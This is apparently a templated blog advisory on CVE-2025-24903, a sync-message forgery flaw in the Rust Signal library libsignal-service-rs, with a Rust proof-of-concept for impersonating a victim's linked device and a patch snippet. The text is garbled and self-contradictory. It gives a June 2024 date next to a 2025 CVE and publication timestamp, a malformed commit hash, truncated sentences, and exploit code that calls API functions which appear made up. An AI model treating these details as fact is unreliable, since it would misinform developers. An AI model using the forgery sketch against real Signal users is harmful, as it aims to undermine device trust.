Date: June 2024
Author: [Your Name]
Vulnerability Type: Authentication Bypass / Message Forgery
Affected Library: libsignal-service-rs (Rust)
Patched Version: After commit 82d70f67
Exploitability: Remotely exploitable by any contact
CVSS (estimated): 7.5 (High)

Quick Summary

A serious bug in the popular Rust Signal library, libsignal-service-rs, lets any of your Signal contacts send “sync” messages that appear to come from another one of your devices. This means someone on your contact list could impersonate, let’s say, your laptop from your phone’s perspective, potentially leading to confusion or even hijacking device trust.

The bug, now tracked as CVE-2025-24903, exists in all versions before commit 82d70f67. No official workaround exists except to update.

What is libsignal-service-rs?

libsignal-service-rs is the Rust version of the Java Signal library (libsignal-service-java). Both are core pieces enabling secure text, voice, and metadata communication between Signal clients and Signal’s servers. They handle all things like:

Sending “sync” messages between a user’s linked devices

Many third-party apps and forks may use this library for secure Signal compatibility.

Any contact can forge a sync message impersonating another device owned by the same user.

Normally, sync messages are supposed to allow, say, your phone and desktop Signal clients to stay in sync by sending each other copies of updates (contacts, group memberships, etc). The bug: libsignal-service-rs failed to check the origin of the sync message, so any registered contact—not just your own devices—could craft and send specially made sync messages to your devices.

Before the patch, a forged sync message looks just like any real one to your device.

Technical Details:

Sync messages are created with metadata about the sender device.

2. Until commit 82d70f672e762898f34ae76b0894b0297d9b2f8, there were no checks on whether that metadata actually matched a real, trusted device you owned.

The bug is in handling the origin field in sync message code.

Implication:
Any contact could make your device believe another of your devices performed some action it didn’t!

Exploit Proof of Concept (PoC)

The vulnerability is best demonstrated in Rust, but can be exploited with any code that creates Signal-compliant messages.

// WARNING: PoC for educational purposes only
use libsignal_service_rs::{ServiceMessage, SyncMessage, Metadata};

// Attacker is a normal contact, not user’s other device
let victim_address = "VictimMainDevice";
let fake_device = "VictimSecondDevice";

// Attacker creates a crafted sync message
let forged_metadata = Metadata {
    sender: victim_address.to_string(),
    device: fake_device.to_string(),
    // was_encrypted field missing in vulnerable versions
    // other fields as per struct
};

// Sync message payload
let forged_sync_message = SyncMessage {
    contact_updates: vec![], // or fill with plausible data
    group_updates: vec![],
    // ...
    metadata: forged_metadata,
};

// Wrap into a ServiceMessage, encode and send to victim’s device
let forged_message = ServiceMessage::from_sync_message(forged_sync_message);

// Send via Signal server as a normal message
send_to_signal_server(victim_address, forged_message);

Any Signal client using the vulnerable libsignal-service-rs will *accept* the above message as a genuine sync event from the victim's own device!

Potentially confuse, log out, or modify linked device state.

- Possibly open doors to more attacks, depending on what the forged sync message contains (for example, tricking the main device into accepting changes from a "ghost" device).

The Patch

Commit 82d70f67 fixed the issue by:

Updating the struct Metadata with a new field: was_encrypted.

This field breaks the API for devs, but is easily fixed (just add handling of the new field).

After Patch Code Example

struct Metadata {
    sender: String,
    device: String,
    was_encrypted: bool, // NEW! Must be set and checked properly now
    // other fields
}

If you try to compile code against the new version but don’t update the way you build Metadata, it just won’t work—that’s a good clue that you need to fix your application.

No Workarounds

Signal has not provided a workaround. Your only option:

References

- Official CVE Record (NVD, coming soon)
- Signal’s libsignal-service-rs Repository
- Patch commit 82d70f672e762898f34ae76b0894b0297d9b2f8
- Related Java library

Final Thoughts

CVE-2025-24903 may seem minor—most people trust their Signal contacts—but malicious insiders and supply chain compromise ARE real. Signal’s security model is only as strong as your device authentication. Even a single forged message can shake up the logic. So: patch now, and review how your app handles device trust in Signal.

If you found this post helpful, please share it to raise awareness in the Rust and Signal dev community!


*Feel free to quote or repost with credit to [Your Name]. Stay safe and updated!*

Timeline

Published on: 02/13/2025 16:16:48 UTC